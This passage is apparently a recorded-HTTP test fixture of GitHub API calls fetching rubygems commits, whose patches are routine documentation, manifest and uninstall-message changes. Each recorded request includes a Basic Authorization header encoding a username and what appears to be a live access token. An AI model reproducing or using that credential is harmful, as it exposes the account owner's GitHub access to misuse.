://github.com/anantkolvankar","followers_url":"https://api.github.com/users/anantkolvankar/followers","following_url":"https://api.github.com/users/anantkolvankar/following{/other_user}","gists_url":"https://api.github.com/users/anantkolvankar/gists{/gist_id}","starred_url":"https://api.github.com/users/anantkolvankar/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/anantkolvankar/subscriptions","organizations_url":"https://api.github.com/users/anantkolvankar/orgs","repos_url":"https://api.github.com/users/anantkolvankar/repos","events_url":"https://api.github.com/users/anantkolvankar/events{/privacy}","received_events_url":"https://api.github.com/users/anantkolvankar/received_events","type":"User","site_admin":false},"parents":[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e"}],"stats":{"total":5,"additions":3,"deletions":2},"files":[{"sha":"20b3a7a1e488e6ebca5aadcc3ae0ec50a117201e","filename":"lib/rubygems/commands/uninstall_command.rb","status":"modified","additions":3,"deletions":2,"changes":5,"blob_url":"https://github.com/rubygems/rubygems/blob/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa/lib/rubygems/commands/uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7bc28322b1ba81d7a0e26af6de86f7907e82d7aa/lib/rubygems/commands/uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/uninstall_command.rb?ref=7bc28322b1ba81d7a0e26af6de86f7907e82d7aa","patch":"@@ -143,7 +143,9 @@ def uninstall_specific\n deplist = Gem::DependencyList.new\n \n get_all_gem_names.uniq.each do |name|\n- Gem::Specification.find_all_by_name(name).each do |spec|\n+ gem_specs = Gem::Specification.find_all_by_name(name)\n+ say(\"Gem ''#{name}'' is not installed\") if gem_specs.empty?\n+ gem_specs.each do |spec|\n deplist.add spec\n end\n end\n@@ -162,4 +164,3 @@ def uninstall_specific\n end\n \n end\n-"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:21 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4351' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"37461c17ed789cc3ced851ba5ad60ab1" Last-Modified: - Mon, 24 Jul 2017 21:10:23 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044250' X-Github-Request-Id: - C642:4D97:903DD7:1C48B79:5A50E485 body: encoding: ASCII-8BIT string: '{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-24T21:10:23Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-24T21:10:23Z"},"message":"Auto merge of #1971 - colby-swandale:rubygems-doc-update, r=segiddins\n\nAdd documentation section to README and fix a few documentation related issues\n\n# Description:\n\n* Add a new section in the README covering the RubyGems documentation and\nRubyGems guides.\n* Update link to the RubyGems API to rubydoc.info since rubyforce.org\nhas been shutdown\n* Add link to homepage of the referenced graph gem\n* fix few small syntax issues\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"839533b29cf298b8da2f9af60498cd5a0298358b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/839533b29cf298b8da2f9af60498cd5a0298358b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f106d866f18cb068150e41c730f4cc2785f18b09","url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09","html_url":"https://github.com/rubygems/rubygems/commit/f106d866f18cb068150e41c730f4cc2785f18b09"},{"sha":"24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","html_url":"https://github.com/rubygems/rubygems/commit/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba"}],"stats":{"total":21,"additions":16,"deletions":5},"files":[{"sha":"79e604299d6d82d3c39fd7430e839ee6aa315f67","filename":"README.md","status":"modified","additions":8,"deletions":0,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/README.md","raw_url":"https://github.com/rubygems/rubygems/raw/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/README.md","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/README.md?ref=db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","patch":"@@ -29,6 +29,14 @@ For more details and other options, see:\n ruby setup.rb --help\n ```\n \n+## Documentation\n+\n+RubyGems uses [rdoc](https://github.com/rdoc/rdoc) for documentation. A compiled set of the docs\n+can be viewed online at http://www.rubydoc.info/github/rubygems/rubygems\n+\n+RubyGems also provides a comprehensive set of guides which covers numerous topics such as\n+creating a new gem, security practices and other resources at http://guides.rubygems.org\n+\n ## GETTING HELP\n \n ### Support Requests"},{"sha":"58d9b6ac6c00aecd54c065cfefd596be9819b01d","filename":"lib/rubygems.rb","status":"modified","additions":8,"deletions":5,"changes":13,"blob_url":"https://github.com/rubygems/rubygems/blob/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","patch":"@@ -39,23 +39,24 @@ module Gem\n # Further RubyGems documentation can be found at:\n #\n # * {RubyGems Guides}[http://guides.rubygems.org]\n-# * {RubyGems API}[http://rubygems.rubyforge.org/rdoc] (also available from\n+# * {RubyGems API}[http://www.rubydoc.info/github/rubygems/rubygems] (also available from\n # gem server)\n #\n # == RubyGems Plugins\n #\n # As of RubyGems 1.3.2, RubyGems will load plugins installed in gems or\n # $LOAD_PATH. Plugins must be named ''rubygems_plugin'' (.rb, .so, etc) and\n # placed at the root of your gem''s #require_path. Plugins are discovered via\n-# Gem::find_files then loaded. Take care when implementing a plugin as your\n+# Gem::find_files and then loaded. Take care when implementing a plugin as your\n # plugin file may be loaded multiple times if multiple versions of your gem\n # are installed.\n #\n-# For an example plugin, see the graph gem which adds a `gem graph` command.\n+# For an example plugin, see the {Graph gem}[https://github.com/seattlerb/graph]\n+# which adds a `gem graph` command.\n #\n # == RubyGems Defaults, Packaging\n #\n-# RubyGems defaults are stored in rubygems/defaults.rb. If you''re packaging\n+# RubyGems defaults are stored in lib/rubygems/defaults.rb. If you''re packaging\n # RubyGems or implementing Ruby you can change RubyGems'' defaults.\n #\n # For RubyGems packagers, provide lib/rubygems/defaults/operating_system.rb\n@@ -65,7 +66,7 @@ module Gem\n # override any defaults from lib/rubygems/defaults.rb.\n #\n # If you need RubyGems to perform extra work on install or uninstall, your\n-# defaults override file can set pre and post install and uninstall hooks.\n+# defaults override file can set pre/post install and uninstall hooks.\n # See Gem::pre_install, Gem::pre_uninstall, Gem::post_install,\n # Gem::post_uninstall.\n #\n@@ -106,6 +107,8 @@ module Gem\n #\n # (If your name is missing, PLEASE let us know!)\n #\n+# == License\n+#\n # See {LICENSE.txt}[rdoc-ref:lib/rubygems/LICENSE.txt] for permissions.\n #\n # Thanks!"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:21 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:22 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4350' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"7b4ea96328e0b5a87a5fd8bbb8ffc4f7" Last-Modified: - Thu, 20 Jul 2017 17:10:51 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050204' X-Github-Request-Id: - A374:4D97:903DDE:1C48B91:5A50E486 body: encoding: ASCII-8BIT string: '{"sha":"f106d866f18cb068150e41c730f4cc2785f18b09","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T17:10:51Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T17:10:51Z"},"message":"Auto merge of #1972 - colby-swandale:installer-doc-fix, r=segiddins\n\nfix some small documentation issues in installer\n\n# Description:\n\nThis is just another small PR to fix some documentation. This time in the installer code.\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"7fdb8618f4f71a1aa5fc0098628ad4bb6ffa68ed","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7fdb8618f4f71a1aa5fc0098628ad4bb6ffa68ed"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f106d866f18cb068150e41c730f4cc2785f18b09","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09","html_url":"https://github.com/rubygems/rubygems/commit/f106d866f18cb068150e41c730f4cc2785f18b09","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2876d4d5b971fb939422fa272c36380d2a220b32","url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32","html_url":"https://github.com/rubygems/rubygems/commit/2876d4d5b971fb939422fa272c36380d2a220b32"},{"sha":"a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","html_url":"https://github.com/rubygems/rubygems/commit/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6"}],"stats":{"total":8,"additions":5,"deletions":3},"files":[{"sha":"fce32a9f8039cc0349a88c75ff7570f07cd78d9a","filename":"lib/rubygems/installer.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/f106d866f18cb068150e41c730f4cc2785f18b09/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/f106d866f18cb068150e41c730f4cc2785f18b09/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=f106d866f18cb068150e41c730f4cc2785f18b09","patch":"@@ -136,8 +136,9 @@ def self.for_spec spec, options = {}\n end\n \n ##\n- # Constructs an Installer instance that will install the gem located at\n- # +gem+. +options+ is a Hash with the following keys:\n+ # Constructs an Installer instance that will install the gem at +package+ which\n+ # can either be a path or an instance of Gem::Package. +options+ is a Hash\n+ # with the following keys:\n #\n # :bin_dir:: Where to put a bin wrapper if needed.\n # :development:: Whether or not development dependencies should be installed.\n@@ -157,6 +158,7 @@ def self.for_spec spec, options = {}\n # :wrappers:: Install wrappers if true, symlinks if false.\n # :build_args:: An Array of arguments to pass to the extension builder\n # process. If not set, then Gem::Command.build_args is used\n+ # :post_install_message:: Print gem post install message if true\n \n def initialize(package, options={})\n require ''fileutils''\n@@ -819,7 +821,7 @@ def dir\n #\n # Version and dependency checks are skipped if this install is forced.\n #\n- # The dependent check will be skipped this install is ignoring dependencies.\n+ # The dependent check will be skipped if the install is ignoring dependencies.\n \n def pre_install_checks\n verify_gem_home options[:unpack]"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:22 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:22 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4349' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"02e58cfe0201c7fdf5645d09143e1792" Last-Modified: - Thu, 20 Jul 2017 16:46:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.039236' X-Github-Request-Id: - A376:4D96:971E62:13A49AB:5A50E486 body: encoding: ASCII-8BIT string: '{"sha":"2876d4d5b971fb939422fa272c36380d2a220b32","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T16:46:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T16:46:12Z"},"message":"Auto merge of #1976 - rubygems:seg-bundler-1-15-2, r=segiddins\n\n[Bundler] Update to 1.15.2\n\n# Description:\n\nThis should get CI green\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"be5415e88a37fc2d79fb787629d4654b176a2366","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be5415e88a37fc2d79fb787629d4654b176a2366"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/2876d4d5b971fb939422fa272c36380d2a220b32","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32","html_url":"https://github.com/rubygems/rubygems/commit/2876d4d5b971fb939422fa272c36380d2a220b32","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8"},{"sha":"71e26a480634c8e47a1884813008fbf3baf2eeaf","url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","html_url":"https://github.com/rubygems/rubygems/commit/71e26a480634c8e47a1884813008fbf3baf2eeaf"}],"stats":{"total":26,"additions":16,"deletions":10},"files":[{"sha":"2fc1d29fe2af1f85ab00f58ab1f26c70f202c04a","filename":"Manifest.txt","status":"modified","additions":15,"deletions":9,"changes":24,"blob_url":"https://github.com/rubygems/rubygems/blob/2876d4d5b971fb939422fa272c36380d2a220b32/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/2876d4d5b971fb939422fa272c36380d2a220b32/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=2876d4d5b971fb939422fa272c36380d2a220b32","patch":"@@ -21,8 +21,6 @@ bin/update_rubygems\n bundler/CHANGELOG.md\n bundler/CODE_OF_CONDUCT.md\n bundler/CONTRIBUTING.md\n-bundler/DEVELOPMENT.md\n-bundler/ISSUES.md\n bundler/LICENSE.md\n bundler/README.md\n bundler/exe/bundle\n@@ -31,6 +29,7 @@ bundler/exe/bundler\n bundler/lib/bundler.rb\n bundler/lib/bundler/capistrano.rb\n bundler/lib/bundler/cli.rb\n+bundler/lib/bundler/cli/add.rb\n bundler/lib/bundler/cli/binstubs.rb\n bundler/lib/bundler/cli/cache.rb\n bundler/lib/bundler/cli/check.rb\n@@ -41,15 +40,18 @@ bundler/lib/bundler/cli/console.rb\n bundler/lib/bundler/cli/doctor.rb\n bundler/lib/bundler/cli/exec.rb\n bundler/lib/bundler/cli/gem.rb\n+bundler/lib/bundler/cli/info.rb\n bundler/lib/bundler/cli/init.rb\n bundler/lib/bundler/cli/inject.rb\n bundler/lib/bundler/cli/install.rb\n+bundler/lib/bundler/cli/issue.rb\n bundler/lib/bundler/cli/lock.rb\n bundler/lib/bundler/cli/open.rb\n bundler/lib/bundler/cli/outdated.rb\n bundler/lib/bundler/cli/package.rb\n bundler/lib/bundler/cli/platform.rb\n bundler/lib/bundler/cli/plugin.rb\n+bundler/lib/bundler/cli/pristine.rb\n bundler/lib/bundler/cli/show.rb\n bundler/lib/bundler/cli/update.rb\n bundler/lib/bundler/cli/viz.rb\n@@ -103,7 +105,6 @@ bundler/lib/bundler/plugin/installer.rb\n bundler/lib/bundler/plugin/installer/git.rb\n bundler/lib/bundler/plugin/installer/rubygems.rb\n bundler/lib/bundler/plugin/source_list.rb\n-bundler/lib/bundler/postit_trampoline.rb\n bundler/lib/bundler/psyched_yaml.rb\n bundler/lib/bundler/remote_specification.rb\n bundler/lib/bundler/resolver.rb\n@@ -186,12 +187,6 @@ bundler/lib/bundler/vendor/molinillo/lib/molinillo/state.rb\n bundler/lib/bundler/vendor/net-http-persistent/lib/net/http/faster.rb\n bundler/lib/bundler/vendor/net-http-persistent/lib/net/http/persistent.rb\n bundler/lib/bundler/vendor/net-http-persistent/lib/net/http/persistent/ssl_reuse.rb\n-bundler/lib/bundler/vendor/postit/lib/postit.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/environment.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/installer.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/parser.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/setup.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/version.rb\n bundler/lib/bundler/vendor/thor/lib/thor.rb\n bundler/lib/bundler/vendor/thor/lib/thor/actions.rb\n bundler/lib/bundler/vendor/thor/lib/thor/actions/create_file.rb\n@@ -228,19 +223,30 @@ bundler/lib/bundler/vendored_molinillo.rb\n bundler/lib/bundler/vendored_persistent.rb\n bundler/lib/bundler/vendored_thor.rb\n bundler/lib/bundler/version.rb\n+bundler/lib/bundler/version_ranges.rb\n bundler/lib/bundler/vlad.rb\n bundler/lib/bundler/worker.rb\n bundler/lib/bundler/yaml_serializer.rb\n+bundler/man/bundle-add.ronn\n bundler/man/bundle-binstubs.ronn\n+bundler/man/bundle-check.ronn\n+bundler/man/bundle-clean.ronn\n bundler/man/bundle-config.ronn\n bundler/man/bundle-exec.ronn\n bundler/man/bundle-gem.ronn\n+bundler/man/bundle-info.ronn\n+bundler/man/bundle-init.ronn\n+bundler/man/bundle-inject.ronn\n bundler/man/bundle-install.ronn\n bundler/man/bundle-lock.ronn\n+bundler/man/bundle-open.ronn\n bundler/man/bundle-outdated.ronn\n bundler/man/bundle-package.ronn\n bundler/man/bundle-platform.ronn\n+bundler/man/bundle-pristine.ronn\n+bundler/man/bundle-show.ronn\n bundler/man/bundle-update.ronn\n+bundler/man/bundle-viz.ronn\n bundler/man/bundle.ronn\n bundler/man/gemfile.5.ronn\n bundler/man/index.txt"},{"sha":"50905839daa6c381b3759375d69194309c5f6544","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=2876d4d5b971fb939422fa272c36380d2a220b32","patch":"@@ -1 +1 @@\n-Subproject commit c2e22795cf53040a92bef6127cc9a8a7ef07af24\n+Subproject commit 50905839daa6c381b3759375d69194309c5f6544"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:22 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:22 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4348' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"4fd3f1136332fd7b5177e3e0f63b3c1d" Last-Modified: - Thu, 20 Jul 2017 15:30:35 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' 